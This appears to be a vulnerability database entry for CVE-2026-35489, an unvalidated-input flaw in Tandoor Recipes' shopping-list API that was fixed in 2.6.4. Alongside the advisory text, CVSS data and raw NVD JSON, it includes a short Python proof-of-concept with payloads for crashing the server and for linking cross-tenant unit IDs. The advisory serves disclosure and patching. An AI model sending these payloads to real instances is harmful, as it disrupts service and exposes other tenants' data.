CVE-2026-35489

Description

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.4, the POST /api/food/{id}/shopping/ endpoint reads amount and unit directly from request.data and passes them without validation to ShoppingListEntry.objects.create(). Invalid amount values (non-numeric strings) cause an unhandled exception and HTTP 500. A unit ID from a different Space can be associated cross-space, leaking foreign-key references across tenant boundaries. All other endpoints creating ShoppingListEntry use ShoppingListEntrySerializer, which validates and sanitizes these fields. This vulnerability is fixed in 2.6.4.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:tandoor:recipes:*:*:*:*:*:*:*:* - VULNERABLE

Tandoor Recipes < 2.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-domain.com/api/food/1/shopping/"

# Attack Scenario 1: Denial of Service (Invalid Amount)
payload_dos = {
    "amount": "invalid_string",  # Non-numeric string to trigger exception
    "unit": 1
}

# Attack Scenario 2: Cross-Space Foreign Key Leakage
# Assuming 'unit' id 999 belongs to a different tenant/space
payload_leak = {
    "amount": 100,
    "unit": 999  # Malicious cross-space ID
}

try:
    # Send malicious request
    response = requests.post(target_url, json=payload_leak)
    
    if response.status_code == 201:
        print("[+] Vulnerability Confirmed: Cross-space unit ID accepted.")
        print("[+] Response Data:", response.json())
    elif response.status_code == 500:
        print("[+] Vulnerability Confirmed: Server crashed due to invalid input validation.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error during request: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35489
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35489
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35489/
[4] VulDB https://vuldb.com/cve/CVE-2026-35489
[5] https://github.com/TandoorRecipes/recipes/releases/tag/2.6.4
[6] https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-8w8h-3pv2-3554
[7] https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-8w8h-3pv2-3554

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35489", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:27.160", "lastModified": "2026-04-14T20:13:00.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.4, the POST /api/food/{id}/shopping/ endpoint reads amount and unit directly from request.data and passes them without validation to ShoppingListEntry.objects.create(). Invalid amount values (non-numeric strings) cause an unhandled exception and HTTP 500. A unit ID from a different Space can be associated cross-space, leaking foreign-key references across tenant boundaries. All other endpoints creating ShoppingListEntry use ShoppingListEntrySerializer, which validates and sanitizes these fields. This vulnerability is fixed in 2.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tandoor:recipes:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.6.4", "matchCriteriaId": "D29C4837-2650-4BEF-A332-657E7D593877"}]}]}], "references": [{"url": "https://github.com/TandoorRecipes/recipes/releases/tag/2.6.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-8w8h-3pv2-3554", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-8w8h-3pv2-3554", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}